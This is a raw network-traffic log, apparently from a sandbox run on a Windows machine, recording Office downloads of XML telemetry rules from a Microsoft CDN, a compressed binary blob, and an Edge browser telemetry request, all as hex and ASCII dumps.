2024-11-23 20:59:42 UTC	556	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:42 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 671cbce7-301e-0064-5e2a-3dd8a7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T205942Z-178bfbc474bq2pr7hC1NYCkfgg000000051000000000m094 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:42 UTC	15828	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-23 20:59:42 UTC	16384	IN	Data Raw: 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be 44 96 29 71 b2 3a d6 6b Data Ascii: [T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'eD)q:k
2024-11-23 20:59:42 UTC	16384	IN	Data Raw: 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 1d cf c8 e2 16 60 37 02 Data Ascii: kD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD`7
2024-11-23 20:59:42 UTC	16384	IN	Data Raw: b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f 08 ac 30 cf 05 cd b5 f5 Data Ascii: g9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo0
2024-11-23 20:59:42 UTC	16384	IN	Data Raw: 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d f5 5a 8e f8 43 2b c3 03 Data Ascii: MR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-ZC+
2024-11-23 20:59:42 UTC	16384	IN	Data Raw: 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 3c d5 da e1 b5 2c a1 ec Data Ascii: yfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ<,
2024-11-23 20:59:42 UTC	16384	IN	Data Raw: 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 d9 1e 50 8f 5c 23 a1 36 Data Ascii: .Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]hP\#6
2024-11-23 20:59:43 UTC	16384	IN	Data Raw: 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 da 41 bd 99 aa 6f 53 85 Data Ascii: \m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPTAoS
2024-11-23 20:59:43 UTC	16384	IN	Data Raw: 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d 62 4f 7c d5 ff 34 22 f6 Data Ascii: Jj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]bO\|4"
2024-11-23 20:59:43 UTC	16384	IN	Data Raw: 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 e4 a6 c8 40 37 67 5f 41 Data Ascii: dqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)@7g_A

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:42 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:42 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: db5fa324-001e-00ad-2244-3c554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205942Z-174c587ffdf6b487hC1TEBydsn000000038g00000000stxa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:42 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:42 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:42 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 41485cca-c01e-0034-71f5-3c2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205942Z-178bfbc474bmqmgjhC1NYCy16c0000000560000000000399 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:42 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:42 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:42 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205942Z-174c587ffdfcb7qhhC1TEB3x7000000003g000000000fg67 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:42 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:42 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:42 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205942Z-178bfbc474bp8mkvhC1NYCzqnn00000004wg0000000052ab x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:43 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:43 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:43 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 0ecd932e-001e-0066-5d4b-3c561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205943Z-15b8b599d88tr2flhC1TEB5gk400000003fg00000000hgyx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:43 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	49877	52.168.112.67	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:44 UTC	1017	OUT	POST /OneCollector/1.0?cors=true&content-type=application%2Fx-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-2.2.2&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732395573000&w=0&anoncknm=app_anon HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4174 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=2E87571383B969740960425382DB688B; _EDGE_S=F=1&SID=2C102E9AA91B68F628743BDAA8826988; _EDGE_V=1
